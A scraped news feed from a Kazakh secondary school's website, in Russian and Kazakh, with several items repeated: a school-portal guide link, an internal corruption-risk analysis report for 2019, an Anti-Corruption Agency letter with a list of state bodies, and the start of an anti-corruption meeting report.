href="//cdn1.kdt.kz/files/sites/1383501249717933/files/%D0%B1%D1%8E%D0%B4%D0%B6%D0%B5%D1%82%20%D1%88%D0%BA%D0%BE%D0%BB%D1%8B/%D0%9D%D0%BE%D0%B2%D0%B0%D1%8F%D0%9F%D0%B0%D0%BF%D0%BA%D0%B0/%D0%98%D0%BD%D1%81%D1%82%D1%80%D1%83%D0%BA%D1%86%D0%B8%D1%8F%20%D0%BF%D0%BE%20%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%B5%20%D0%B2%D0%BD%D0%B5%D1%88%D0%BD%D0%B5%D0%B3%D0%BE%20%D0%BF%D0%BE%D1%80%D1%82%D0%B0%D0%BB%D0%B0%20%D0%98%D0%A1%20SAKURA.pdf">Инструкция по работе внешнего портала ИС SAKURA</a><a> </a>Инструкция по работе внешнего портала ИС SAKURA Главная страница внешнего портала выглядит следующим образом. Перед работой с порталом необходимо выбрать город и язык. Полезная информация 1. Карта школ – можно посмотреть на карте города, какие школы находятся рядом с домом 2. Найти школу по месту жительства – данный блок позволяет посмотреть к какой школе по микроучастку относится ваш дом 3. Реестр школ – единый реестр школ с полной информацией о них 4. Реестр педагогов – единый реестр педагогов начальных классов, информация об их рейтинге и показателях качества обучения Карта школ Просмотр школ на карте, для более легкого поиска школы можно применить фильтры по языку обучения, виду школы, формы собственности и расположение. А так же можно ввести наименование организации и произвести поиск. Найти школу по месту жительства Необходимо ввести краткий адрес проживания ребенка и нажать кнопку найти, система автоматически покажет к какой школе относится адрес проживания Реестр школ В реестре школ можно просматривать паспорта школ, для удобства есть фильтры по языку обучения и виду школы. Паспорт школы выглядит следующим образом. В паспорте школы есть вся необходимая информация для родителя <a> </a><a title="Инструкция по работе внешнего портала ИС SAKURA" href="//cdn1.kdt.kz/files/sites/1383501249717933/files/%D0%B1%D1%8E%D0%B4%D0%B6%D0%B5%D1%82%20%D1%88%D0%BA%D0%BE%D0%BB%D1%8B/%D0%9D%D0%BE%D0%B2%D0%B0%D1%8F%D0%9F%D0%B0%D0%BF%D0%BA%D0%B0/%D0%98%D0%BD%D1%81%D1%82%D1%80%D1%83%D0%BA%D1%86%D0%B8%D1%8F%20%D0%BF%D0%BE%20%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%B5%20%D0%B2%D0%BD%D0%B5%D1%88%D0%BD%D0%B5%D0%B3%D0%BE%20%D0%BF%D0%BE%D1%80%D1%82%D0%B0%D0%BB%D0%B0%20%D0%98%D0%A1%20SAKURA.pdf">Инструкция по работе внешнего портала ИС SAKURA</a><a> </a>24mektepTue, 02 Jun 2020 11:06:39 +0600http://24.astana-bilim.kz/news/?pkid=1591074682008969Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1591074682008969АНАЛИТИЧЕСКАЯ СПРАВКА по результатам внутреннего анализа коррупционных рисков в деятельности КГУ «Средняя школа № 24» г.Нур-Султанhttp://24.astana-bilim.kz/news/?pkid=1587106507609850<img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1587106507609850.jpg" /> <div style="text-align:center;">АНАЛИТИЧЕСКАЯ СПРАВКА</div><div style="text-align:center;">по результатам внутреннего анализа коррупционных рисков в деятельности КГУ «Средняя школа № 24» г.Нур-Султан</div> (КГУ «Средняя школа №24» г.Нур-Султан) рабочей группой в составе: заместителя директора (Сагитовой Зина Кусайновной.), бухгалтера (Уразалиной Багд Сатбаевной), проведен внутренний анализ коррупционных рисков в деятельности (КГУ «Средняя школа №24» г.Нур-Султан Учреждение за период январь-июль 2019 года.Внутренний анализ проведен в соответствии с Законом Республики Казахстан от 18.11.2015 г. «О противодействии коррупции» № 410-V ЗРК, а также Правилами проведения внутреннего анализа коррупционных рисков, утвержденных приказом Председателя Агенства Республики Казахстан по делам государственной службы и противодействиии коррупции от 19.10.2016 года № 12, на основании приказа директора КГУ «Средняя школа №24» г.Нур-Султан от «17» августа 2019 г. № 179. Учреждение в своей деятельности руководствуется Конституцией Республики Казахстан, Гражданским кодексом Республики Казахстан, законами Республики Казахстан «Об образовании», «О государственном имуществе», другими нормативными правовыми актами Республики Казахстан и Уставом Учреждения. І. КОРРУПЦИОННЫЕ РИСКИ В НОРМАТИВНЫХ ПРАВОВЫХ АКТАХ И ПРАВОВЫХ АКТАХ <ol><li>Структура Учреждения состоит из :</li></ol>1) Администрации;2) кадровой работы и делопроизводства;3) Финансовая часть(бухгалтерия, гос.закупки);4) Учебно-воспитательная часть и цифровизация;5) техническо-хозяйственная часть. <ol start="2"><li>В ходе анализа деятельности Учреждения несоответствие норм нормативных правовых актов и правовых актов отсутствуют.</li></ol> ІІ. КОРРУПЦИОННЫЕ РИСКИ В ОРГАНИЗАЦИОННО-УПРАВЛЕНЧЕСКОЙ ДЕЯТЕЛЬНОСТИ <ol><li style="text-align:left;"> Управление персоналом, в том числе сменяемость кадров.</li></ol>Штатное расписание Учреждения утверждено руководителем КГУ «Управление образования города Нур-Султан» от «17» августа 2019 года. На момент проведения анализа фактическая численность сотрудников Учреждения составляет 118 человек, вакансия 8 (по вакансии подаются заявки в КГУ «Управление занятости, труда и социальной защиты города Нур-Султан» КГУ «Центр занятости населения акимата г. Нур-Султан» и в дальнейшем Учреждением проводятся собеседование).За анализируемый период уволен (-ы) 9 сотрудник(-ов) по собственному желанию по ст.56 п.1. Трудового Кодекса РК.По инициативе работодателя уволен(-ы) 0 сотрудник(-ов) ст.__ п. Трудового Кодекса.Таким образом, чистая сменяемость за период январь-июль 2019 года составляет 4% ( 2 чел.).В части сменяемости «командных перемещении» не выявлено.За январь-июль 2019 года принято 6 сотрудников.(Через КГУ «Центр занятости населения города Нур-Султан»– 5 ед.) <ol start="2"><li> Конфликт интересов</li></ol>В ходе внутреннего анализа коррупционных рисков в деятельности Учреждения конфликтные интересы отсутствуют. <ol start="3"><li> Оказания государственных услуг </li></ol>Функции по оказанию государственных услуг :<ol><li>Указать перечень государственных услуг оказываемых Учреждением.</li><li> Обращение физических и юридических лиц поступившие в Предприятие (или Учреждения) </li></ol>Работа в Учреждении по обращениям граждан ведется в соответствии с Законом Республики Казахстан «О порядке рассмотрения обращений физических и юридических лиц» от 13 января 2007 года № 221.Проведен анализ состояния работы по данным направлениям в отделах, обеспечения своевременности и качества рассмотрения обращений физических и юридических лиц, принимаются меры по повышению контроля, не допущению рассмотрения обращений с нарушением установленных сроков.За январь-июль 2019 года поступили устных 40 и письменные 40 обращения граждан. Ответы были даны своевременно. За январь-июль 2019 года устные и письменные обращения граждан на действия руководства и сотрудников Учреждения, связанных с исполнением Закона РК «О противодействии коррупции» не поступали. <ol start="5"><li> Мероприятия по профилактике противодействию коррупции </li></ol>В рамках реализации Плана мероприятий по реализации Антикоррупционной стратегии Республики Казахстан на 2015-2025 годы, Учреждением проводятся ежеквартально круглые столы и семинары для сотрудников и учащихся (воспитанников). "Біз жемқорлыққа қарсымыз!"; "Жемқорлыққа жол жоқ!"; "Жемқорлыққа қарсы заңнамалар негізі"; "Мы против коррупции!". <ol start="6"><li> Государственные закупки</li></ol>Обеспечивается функционирование специальных разделов на Интернет-ресурсе Предприятия (или Учреждения) о его деятельности по противодействию коррупции. Бюджет организации образования КГУ средняя школа №24 ежегодно обновляется на сайте организации образования.В сфере государственных закупок все договора заключены посредством веб-портала с соблюдением норм Закона Республики Казахстан «О государственных закупках» от 4 декабря 2015 года. Всего на данный момент заключено 148 договора. <ol start="7"><li> Заключение</li></ol>За анализируемый период фактов наложения дисциплинарных взысканий за совершение должностных, коррупционных правонарушении и преступлений работниками – не установлено. (В случае выявления указать) Рабочая группа: заместителя директора Сагитова З.К. бухгалтера Уразалина Б.С. (отдел кадр, делопроизводитель Алыпкашова К.Д Директор СШ №24: Сундетов Г.Н. ссылка <a title="Приказ" href="//cdn1.kdt.kz//cdn1.kdt.kz/files/sites/1383501249717933/files/%D0%B0%D0%BD%D1%82%D0%B8%D0%BA%D0%BE%D1%80%D1%80%D1%83%D0%BF%D1%86%D0%B8%D1%8F/666666.pdf" target="_blank">//cdn1.kdt.kz//cdn1.kdt.kz/files/sites/1383501249717933/files/%D0%B0%D0%BD%D1%82%D0%B8%D0%BA%D0%BE%D1%80%D1%80%D1%83%D0%BF%D1%86%D0%B8%D1%8F/666666.pdf</a> <img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1587106507609850.jpg" /> <div style="text-align:center;">АНАЛИТИЧЕСКАЯ СПРАВКА</div><div style="text-align:center;">по результатам внутреннего анализа коррупционных рисков в деятельности КГУ «Средняя школа № 24» г.Нур-Султан</div> (КГУ «Средняя школа №24» г.Нур-Султан) рабочей группой в составе: заместителя директора (Сагитовой Зина Кусайновной.), бухгалтера (Уразалиной Багд Сатбаевной), проведен внутренний анализ коррупционных рисков в деятельности (КГУ «Средняя школа №24» г.Нур-Султан Учреждение за период январь-июль 2019 года.Внутренний анализ проведен в соответствии с Законом Республики Казахстан от 18.11.2015 г. «О противодействии коррупции» № 410-V ЗРК, а также Правилами проведения внутреннего анализа коррупционных рисков, утвержденных приказом Председателя Агенства Республики Казахстан по делам государственной службы и противодействиии коррупции от 19.10.2016 года № 12, на основании приказа директора КГУ «Средняя школа №24» г.Нур-Султан от «17» августа 2019 г. № 179. Учреждение в своей деятельности руководствуется Конституцией Республики Казахстан, Гражданским кодексом Республики Казахстан, законами Республики Казахстан «Об образовании», «О государственном имуществе», другими нормативными правовыми актами Республики Казахстан и Уставом Учреждения. І. КОРРУПЦИОННЫЕ РИСКИ В НОРМАТИВНЫХ ПРАВОВЫХ АКТАХ И ПРАВОВЫХ АКТАХ <ol><li>Структура Учреждения состоит из :</li></ol>1) Администрации;2) кадровой работы и делопроизводства;3) Финансовая часть(бухгалтерия, гос.закупки);4) Учебно-воспитательная часть и цифровизация;5) техническо-хозяйственная часть. <ol start="2"><li>В ходе анализа деятельности Учреждения несоответствие норм нормативных правовых актов и правовых актов отсутствуют.</li></ol> ІІ. КОРРУПЦИОННЫЕ РИСКИ В ОРГАНИЗАЦИОННО-УПРАВЛЕНЧЕСКОЙ ДЕЯТЕЛЬНОСТИ <ol><li style="text-align:left;"> Управление персоналом, в том числе сменяемость кадров.</li></ol>Штатное расписание Учреждения утверждено руководителем КГУ «Управление образования города Нур-Султан» от «17» августа 2019 года. На момент проведения анализа фактическая численность сотрудников Учреждения составляет 118 человек, вакансия 8 (по вакансии подаются заявки в КГУ «Управление занятости, труда и социальной защиты города Нур-Султан» КГУ «Центр занятости населения акимата г. Нур-Султан» и в дальнейшем Учреждением проводятся собеседование).За анализируемый период уволен (-ы) 9 сотрудник(-ов) по собственному желанию по ст.56 п.1. Трудового Кодекса РК.По инициативе работодателя уволен(-ы) 0 сотрудник(-ов) ст.__ п. Трудового Кодекса.Таким образом, чистая сменяемость за период январь-июль 2019 года составляет 4% ( 2 чел.).В части сменяемости «командных перемещении» не выявлено.За январь-июль 2019 года принято 6 сотрудников.(Через КГУ «Центр занятости населения города Нур-Султан»– 5 ед.) <ol start="2"><li> Конфликт интересов</li></ol>В ходе внутреннего анализа коррупционных рисков в деятельности Учреждения конфликтные интересы отсутствуют. <ol start="3"><li> Оказания государственных услуг </li></ol>Функции по оказанию государственных услуг :<ol><li>Указать перечень государственных услуг оказываемых Учреждением.</li><li> Обращение физических и юридических лиц поступившие в Предприятие (или Учреждения) </li></ol>Работа в Учреждении по обращениям граждан ведется в соответствии с Законом Республики Казахстан «О порядке рассмотрения обращений физических и юридических лиц» от 13 января 2007 года № 221.Проведен анализ состояния работы по данным направлениям в отделах, обеспечения своевременности и качества рассмотрения обращений физических и юридических лиц, принимаются меры по повышению контроля, не допущению рассмотрения обращений с нарушением установленных сроков.За январь-июль 2019 года поступили устных 40 и письменные 40 обращения граждан. Ответы были даны своевременно. За январь-июль 2019 года устные и письменные обращения граждан на действия руководства и сотрудников Учреждения, связанных с исполнением Закона РК «О противодействии коррупции» не поступали. <ol start="5"><li> Мероприятия по профилактике противодействию коррупции </li></ol>В рамках реализации Плана мероприятий по реализации Антикоррупционной стратегии Республики Казахстан на 2015-2025 годы, Учреждением проводятся ежеквартально круглые столы и семинары для сотрудников и учащихся (воспитанников). "Біз жемқорлыққа қарсымыз!"; "Жемқорлыққа жол жоқ!"; "Жемқорлыққа қарсы заңнамалар негізі"; "Мы против коррупции!". <ol start="6"><li> Государственные закупки</li></ol>Обеспечивается функционирование специальных разделов на Интернет-ресурсе Предприятия (или Учреждения) о его деятельности по противодействию коррупции. Бюджет организации образования КГУ средняя школа №24 ежегодно обновляется на сайте организации образования.В сфере государственных закупок все договора заключены посредством веб-портала с соблюдением норм Закона Республики Казахстан «О государственных закупках» от 4 декабря 2015 года. Всего на данный момент заключено 148 договора. <ol start="7"><li> Заключение</li></ol>За анализируемый период фактов наложения дисциплинарных взысканий за совершение должностных, коррупционных правонарушении и преступлений работниками – не установлено. (В случае выявления указать) Рабочая группа: заместителя директора Сагитова З.К. бухгалтера Уразалина Б.С. (отдел кадр, делопроизводитель Алыпкашова К.Д Директор СШ №24: Сундетов Г.Н. ссылка <a title="Приказ" href="//cdn1.kdt.kz//cdn1.kdt.kz/files/sites/1383501249717933/files/%D0%B0%D0%BD%D1%82%D0%B8%D0%BA%D0%BE%D1%80%D1%80%D1%83%D0%BF%D1%86%D0%B8%D1%8F/666666.pdf" target="_blank">//cdn1.kdt.kz//cdn1.kdt.kz/files/sites/1383501249717933/files/%D0%B0%D0%BD%D1%82%D0%B8%D0%BA%D0%BE%D1%80%D1%80%D1%83%D0%BF%D1%86%D0%B8%D1%8F/666666.pdf</a> 24mektepFri, 17 Apr 2020 12:41:42 +0600http://24.astana-bilim.kz/news/?pkid=1587106507609850Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1587106507609850АГЕНТСТВО РЕСПУБЛИКИ КАЗАХСТАН ПО ПРОТИВОДЕЙСТВИЮ КОРРУПЦИИ (АНТИКОРРУПЦИОННАЯ СЛУЖБА)http://24.astana-bilim.kz/news/?pkid=1584689788884490<img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1584689788884490.jpg" /> <table width="699"><tbody><tr><td width="300">ҚАЗАҚСТАН РЕСПУБЛИКАСЫНЫҢСЫБАЙЛАС ЖЕМҚОРЛЫҚҚА ҚАРСЫ ІС-ҚИМЫЛ АГЕНТТІГІ (СЫБАЙЛАС ЖЕМҚОРЛЫҚҚА ҚАРСЫ ҚЫЗМЕТ)</td><td colspan="3" width="118"> </td><td width="279">АГЕНТСТВОРЕСПУБЛИКИ КАЗАХСТАНПО ПРОТИВОДЕЙСТВИЮ КОРРУПЦИИ (АНТИКОРРУПЦИОННАЯ СЛУЖБА) </td><td width="1"> </td></tr><tr><td colspan="6" width="699"> </td></tr><tr><td colspan="2" width="338">010000, Нұр-Сұлтан қаласы, Сейфуллин көшесі, 37тел.: 8 (7172) 90-92-60, факс: 90-91-73anticorruption@nab.gov.kz __________________№______________________________________________________ </td><td width="57"> </td><td colspan="3" width="304">010000, город Нур-Султан, улица Сейфуллина, 37тел.: 8 (7172) 90-92-60, факс: 90-91-73anticorruption@nab.gov.kz </td></tr><tr><td width="300"> </td><td width="38"> </td><td width="57"> </td><td width="24"> </td><td width="279"> </td><td width="1"> </td></tr></tbody></table>Қазақстан Республикасының Ақпарат және қоғамдық даму министрлігі «Ұлттық ақпараттық технологиялар» АҚ Орталық мемлекеттік және Нұр-Сұлтан, Алматы, Шымкент қалалары мен облыстардың жергілікті атқарушы органдарына(тізім бойынша) Мемлекет басшысының «Халық үніне құлақ асатын мемлекет» тұжырымдамасын іске асыру аясында, сондай-ақ сыбайлас жемқорлыққа қарсы күресті күшейту мақсатында мемлекеттік органдар мен ведомстволардың, аумақтық бөлімшелердің, оның ішінде облыстық және аудандық әкімдіктердің құрылымдық бөлімшелерінің, сондай-ақ барлық деңгейдегі ведомстволық бағынысты ұйымдардың ресми интернет-ресурстарына 1424 Call-орталығы туралы эскизді орналастыруды және оны басу арқылы Агенттіктің ресми интернет-ресурсына сілтеме бағыттауды қамтамасыз етуді сұраймыз.Қалқымалы терезеге арналған сілтеме:<a href="http://www.gov.kz/memleket/entities/anticorruption?lang=ru">http://www.gov.kz/memleket/entities/anticorruption?lang=ru</a> Қосымша: 2 п. Төрағаның м.у.а. О. Бектенов Орынд. Н. НабиевТел. 90-92-80 <table width="699"><tbody><tr><td width="300">ҚАЗАҚСТАН РЕСПУБЛИКАСЫНЫҢСЫБАЙЛАС ЖЕМҚОРЛЫҚҚА ҚАРСЫ ІС-ҚИМЫЛ АГЕНТТІГІ (СЫБАЙЛАС ЖЕМҚОРЛЫҚҚА ҚАРСЫ ҚЫЗМЕТ)</td><td colspan="3" width="118"> </td><td width="279">АГЕНТСТВОРЕСПУБЛИКИ КАЗАХСТАНПО ПРОТИВОДЕЙСТВИЮ КОРРУПЦИИ (АНТИКОРРУПЦИОННАЯ СЛУЖБА) </td><td width="1"> </td></tr><tr><td colspan="6" width="699"> </td></tr><tr><td colspan="2" width="338">010000, Нұр-Сұлтан қаласы, Сейфуллин көшесі, 37тел.: 8 (7172) 90-92-60, факс: 90-91-73anticorruption@nab.gov.kz __________________№______________________________________________________ </td><td width="57"> </td><td colspan="3" width="304">010000, город Нур-Султан, улица Сейфуллина, 37тел.: 8 (7172) 90-92-60, факс: 90-91-73anticorruption@nab.gov.kz </td></tr><tr><td width="300"> </td><td width="38"> </td><td width="57"> </td><td width="24"> </td><td width="279"> </td><td width="1"> </td></tr></tbody></table>Министерство информации и общественного развития Республики Казахстан АО «Национальные информационные технологии» Центральным государственным иместным исполнительным органам областей, гг. Нур-Султан, Алматы и Шымкент (по списку) В рамках реализации концепции Главы государства «Слышащее государство», а также в целях усиления борьбы с коррупцией просим обеспечить размещение прилагаемого эскиза о Call-центре 1424 на официальных интернет-ресурсах государственных органов, ведомств, территориальных подразделений, в т.ч. структурных подразделений областных и районных акиматов, а также на сайтах подведомственных организаций всех уровней, с переадресацией на официальный интернет-ресурс Агентства при кликании на эскиз.Ссылка для всплывающего окна:<a href="http://www.gov.kz/memleket/entities/anticorruption?lang=ru">http://www.gov.kz/memleket/entities/anticorruption?lang=ru</a> Приложение: на 2 листах. Вр.и.о. Председателя О. Бектенов Исп.: Н. НабиевТел. 90-92-80 <table width="586"><tbody><tr><td width="76"> </td><td width="510">Список госорганов</td></tr><tr><td width="76">1. </td><td width="510">Министерство цифрового развития, инноваций и аэрокосмической промышленности</td></tr><tr><td width="76">2. </td><td width="510">Министерство сельского хозяйства</td></tr><tr><td width="76">3. </td><td width="510">Министерство юстиции</td></tr><tr><td width="76">4. </td><td width="510">Министерство образования и науки</td></tr><tr><td width="76">5. </td><td width="510">Министерство торговли и интеграции</td></tr><tr><td width="76">6. </td><td width="510">Министерство здравоохранения</td></tr><tr><td width="76">7. </td><td width="510">Министерство труда и социальной защиты населения</td></tr><tr><td width="76">8. </td><td width="510">Министерство индустрии и инфраструктурного развития</td></tr><tr><td width="76">9. </td><td width="510">Министерство финансов</td></tr><tr><td width="76">10. </td><td width="510">Министерство обороны</td></tr><tr><td width="76">11. </td><td width="510">Министерство культуры и спорта</td></tr><tr><td width="76">12. </td><td width="510">Министерство иностранных дел</td></tr><tr><td width="76">13. </td><td width="510">Министерство национальной экономики</td></tr><tr><td width="76">14. </td><td width="510">Министерство внутренних дел</td></tr><tr><td width="76">15. </td><td width="510">Министерство энергетики</td></tr><tr><td width="76">16. </td><td width="510">Министерство экологии, геологии и природных ресурсов</td></tr><tr><td width="76"> </td><td width="510"> </td></tr><tr><td width="76">1. </td><td width="510">Генеральная прокуратура</td></tr><tr><td width="76">2. </td><td width="510">Комитет национальной безопасности</td></tr><tr><td width="76">3. </td><td width="510">Национальный Банк</td></tr><tr><td width="76">4. </td><td width="510">Верховный Суд</td></tr><tr><td width="76">5. </td><td width="510">Счетный комитет по контролю за исполнением республиканского бюджета</td></tr><tr><td width="76"> </td><td width="510"> </td></tr><tr><td width="76">1. </td><td width="510">Аппарат акима г.Астаны</td></tr><tr><td width="76">2. </td><td width="510">Аппарат акима г.Алматы</td></tr><tr><td width="76">3. </td><td width="510">Аппарат акима г. Шымкент</td></tr><tr><td width="76">4. </td><td width="510">Аппарат акима Акмолинской области</td></tr><tr><td width="76">5. </td><td width="510">Аппарат акима Актюбинской области</td></tr><tr><td width="76">6. </td><td width="510">Аппарат акима Алматинской области</td></tr><tr><td width="76">7. </td><td width="510">Аппарат акима Атырауской области</td></tr><tr><td width="76">8. </td><td width="510">Аппарат акима Западно-Казахстанской области</td></tr><tr><td width="76">9. </td><td width="510">Аппарат акима Жамбылской области</td></tr><tr><td width="76">10. </td><td width="510">Аппарат акима Карагандинской области</td></tr><tr><td width="76">11. </td><td width="510">Аппарат акима Костанайской области</td></tr><tr><td width="76">12. </td><td width="510">Аппарат акима Кызылординской области</td></tr><tr><td width="76">13. </td><td width="510">Аппарат акима Мангистауской области</td></tr><tr><td width="76">14. </td><td width="510">Аппарат акима Павлодарской области</td></tr><tr><td width="76">15. </td><td width="510">Аппарат акима Северо-Казахстанской области</td></tr><tr><td width="76">16. </td><td width="510">Аппарат акима Восточно-Казахстанской области</td></tr><tr><td width="76">17. </td><td width="510">Аппарат акима Туркестанской области</td></tr></tbody></table> <img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1584689788884490.jpg" /> <table width="699"><tbody><tr><td width="300">ҚАЗАҚСТАН РЕСПУБЛИКАСЫНЫҢСЫБАЙЛАС ЖЕМҚОРЛЫҚҚА ҚАРСЫ ІС-ҚИМЫЛ АГЕНТТІГІ (СЫБАЙЛАС ЖЕМҚОРЛЫҚҚА ҚАРСЫ ҚЫЗМЕТ)</td><td colspan="3" width="118"> </td><td width="279">АГЕНТСТВОРЕСПУБЛИКИ КАЗАХСТАНПО ПРОТИВОДЕЙСТВИЮ КОРРУПЦИИ (АНТИКОРРУПЦИОННАЯ СЛУЖБА) </td><td width="1"> </td></tr><tr><td colspan="6" width="699"> </td></tr><tr><td colspan="2" width="338">010000, Нұр-Сұлтан қаласы, Сейфуллин көшесі, 37тел.: 8 (7172) 90-92-60, факс: 90-91-73anticorruption@nab.gov.kz __________________№______________________________________________________ </td><td width="57"> </td><td colspan="3" width="304">010000, город Нур-Султан, улица Сейфуллина, 37тел.: 8 (7172) 90-92-60, факс: 90-91-73anticorruption@nab.gov.kz </td></tr><tr><td width="300"> </td><td width="38"> </td><td width="57"> </td><td width="24"> </td><td width="279"> </td><td width="1"> </td></tr></tbody></table>Қазақстан Республикасының Ақпарат және қоғамдық даму министрлігі «Ұлттық ақпараттық технологиялар» АҚ Орталық мемлекеттік және Нұр-Сұлтан, Алматы, Шымкент қалалары мен облыстардың жергілікті атқарушы органдарына(тізім бойынша) Мемлекет басшысының «Халық үніне құлақ асатын мемлекет» тұжырымдамасын іске асыру аясында, сондай-ақ сыбайлас жемқорлыққа қарсы күресті күшейту мақсатында мемлекеттік органдар мен ведомстволардың, аумақтық бөлімшелердің, оның ішінде облыстық және аудандық әкімдіктердің құрылымдық бөлімшелерінің, сондай-ақ барлық деңгейдегі ведомстволық бағынысты ұйымдардың ресми интернет-ресурстарына 1424 Call-орталығы туралы эскизді орналастыруды және оны басу арқылы Агенттіктің ресми интернет-ресурсына сілтеме бағыттауды қамтамасыз етуді сұраймыз.Қалқымалы терезеге арналған сілтеме:<a href="http://www.gov.kz/memleket/entities/anticorruption?lang=ru">http://www.gov.kz/memleket/entities/anticorruption?lang=ru</a> Қосымша: 2 п. Төрағаның м.у.а. О. Бектенов Орынд. Н. НабиевТел. 90-92-80 <table width="699"><tbody><tr><td width="300">ҚАЗАҚСТАН РЕСПУБЛИКАСЫНЫҢСЫБАЙЛАС ЖЕМҚОРЛЫҚҚА ҚАРСЫ ІС-ҚИМЫЛ АГЕНТТІГІ (СЫБАЙЛАС ЖЕМҚОРЛЫҚҚА ҚАРСЫ ҚЫЗМЕТ)</td><td colspan="3" width="118"> </td><td width="279">АГЕНТСТВОРЕСПУБЛИКИ КАЗАХСТАНПО ПРОТИВОДЕЙСТВИЮ КОРРУПЦИИ (АНТИКОРРУПЦИОННАЯ СЛУЖБА) </td><td width="1"> </td></tr><tr><td colspan="6" width="699"> </td></tr><tr><td colspan="2" width="338">010000, Нұр-Сұлтан қаласы, Сейфуллин көшесі, 37тел.: 8 (7172) 90-92-60, факс: 90-91-73anticorruption@nab.gov.kz __________________№______________________________________________________ </td><td width="57"> </td><td colspan="3" width="304">010000, город Нур-Султан, улица Сейфуллина, 37тел.: 8 (7172) 90-92-60, факс: 90-91-73anticorruption@nab.gov.kz </td></tr><tr><td width="300"> </td><td width="38"> </td><td width="57"> </td><td width="24"> </td><td width="279"> </td><td width="1"> </td></tr></tbody></table>Министерство информации и общественного развития Республики Казахстан АО «Национальные информационные технологии» Центральным государственным иместным исполнительным органам областей, гг. Нур-Султан, Алматы и Шымкент (по списку) В рамках реализации концепции Главы государства «Слышащее государство», а также в целях усиления борьбы с коррупцией просим обеспечить размещение прилагаемого эскиза о Call-центре 1424 на официальных интернет-ресурсах государственных органов, ведомств, территориальных подразделений, в т.ч. структурных подразделений областных и районных акиматов, а также на сайтах подведомственных организаций всех уровней, с переадресацией на официальный интернет-ресурс Агентства при кликании на эскиз.Ссылка для всплывающего окна:<a href="http://www.gov.kz/memleket/entities/anticorruption?lang=ru">http://www.gov.kz/memleket/entities/anticorruption?lang=ru</a> Приложение: на 2 листах. Вр.и.о. Председателя О. Бектенов Исп.: Н. НабиевТел. 90-92-80 <table width="586"><tbody><tr><td width="76"> </td><td width="510">Список госорганов</td></tr><tr><td width="76">1. </td><td width="510">Министерство цифрового развития, инноваций и аэрокосмической промышленности</td></tr><tr><td width="76">2. </td><td width="510">Министерство сельского хозяйства</td></tr><tr><td width="76">3. </td><td width="510">Министерство юстиции</td></tr><tr><td width="76">4. </td><td width="510">Министерство образования и науки</td></tr><tr><td width="76">5. </td><td width="510">Министерство торговли и интеграции</td></tr><tr><td width="76">6. </td><td width="510">Министерство здравоохранения</td></tr><tr><td width="76">7. </td><td width="510">Министерство труда и социальной защиты населения</td></tr><tr><td width="76">8. </td><td width="510">Министерство индустрии и инфраструктурного развития</td></tr><tr><td width="76">9. </td><td width="510">Министерство финансов</td></tr><tr><td width="76">10. </td><td width="510">Министерство обороны</td></tr><tr><td width="76">11. </td><td width="510">Министерство культуры и спорта</td></tr><tr><td width="76">12. </td><td width="510">Министерство иностранных дел</td></tr><tr><td width="76">13. </td><td width="510">Министерство национальной экономики</td></tr><tr><td width="76">14. </td><td width="510">Министерство внутренних дел</td></tr><tr><td width="76">15. </td><td width="510">Министерство энергетики</td></tr><tr><td width="76">16. </td><td width="510">Министерство экологии, геологии и природных ресурсов</td></tr><tr><td width="76"> </td><td width="510"> </td></tr><tr><td width="76">1. </td><td width="510">Генеральная прокуратура</td></tr><tr><td width="76">2. </td><td width="510">Комитет национальной безопасности</td></tr><tr><td width="76">3. </td><td width="510">Национальный Банк</td></tr><tr><td width="76">4. </td><td width="510">Верховный Суд</td></tr><tr><td width="76">5. </td><td width="510">Счетный комитет по контролю за исполнением республиканского бюджета</td></tr><tr><td width="76"> </td><td width="510"> </td></tr><tr><td width="76">1. </td><td width="510">Аппарат акима г.Астаны</td></tr><tr><td width="76">2. </td><td width="510">Аппарат акима г.Алматы</td></tr><tr><td width="76">3. </td><td width="510">Аппарат акима г. Шымкент</td></tr><tr><td width="76">4. </td><td width="510">Аппарат акима Акмолинской области</td></tr><tr><td width="76">5. </td><td width="510">Аппарат акима Актюбинской области</td></tr><tr><td width="76">6. </td><td width="510">Аппарат акима Алматинской области</td></tr><tr><td width="76">7. </td><td width="510">Аппарат акима Атырауской области</td></tr><tr><td width="76">8. </td><td width="510">Аппарат акима Западно-Казахстанской области</td></tr><tr><td width="76">9. </td><td width="510">Аппарат акима Жамбылской области</td></tr><tr><td width="76">10. </td><td width="510">Аппарат акима Карагандинской области</td></tr><tr><td width="76">11. </td><td width="510">Аппарат акима Костанайской области</td></tr><tr><td width="76">12. </td><td width="510">Аппарат акима Кызылординской области</td></tr><tr><td width="76">13. </td><td width="510">Аппарат акима Мангистауской области</td></tr><tr><td width="76">14. </td><td width="510">Аппарат акима Павлодарской области</td></tr><tr><td width="76">15. </td><td width="510">Аппарат акима Северо-Казахстанской области</td></tr><tr><td width="76">16. </td><td width="510">Аппарат акима Восточно-Казахстанской области</td></tr><tr><td width="76">17. </td><td width="510">Аппарат акима Туркестанской области</td></tr></tbody></table> 24mektepFri, 20 Mar 2020 13:35:12 +0600http://24.astana-bilim.kz/news/?pkid=1584689788884490Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1584689788884490В средней школе №24, г. Нур-Султан, было проведено совещание по антикоррупцииhttp://24.astana-bilim.kz/news/?pkid=1583925097050326<img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1583925097050326.jpg" /> <div style="text-align:center;">В средней школе №24, г. Нур-Султан, </div><div style="text-align:center;">было проведено совещание по антикоррупции</div><div style="text-align:center;"> </div><div style="text-align:center;">Приняли участие-76 учителей</div><div style="text-align:center;">Дата: 06.11.19 г.</div><div style="text-align:center;">Время: 13.00</div> Сегодня, 06.11.19 г. в нашей школе было проведено собрание " Против коррупции". В данном мероприятии принял участие представитель регионального департамента Агентства по противодействию коррупции по городу Нур –Султан-Хайруллин Марат.С докладом о коррупции выступила учитель истории Казахстана - Болатбекова Раушан. Были затронуты темы общей политики, направленной на профилактику коррупции в стране.Он отметил, что коррупция является одной из самых серьезных проблем, которые в настоящее время негативно влияют на экономику страны. Любой человек показал, что должен знать свои права и знать все законы. Каждый учитель должен знать: - Совершенствование нормативной правовой базы правонарушений и борьбыс коррупцией;- Порядок привлечения к ответственности за правонарушения, связанные с коррупцией;- 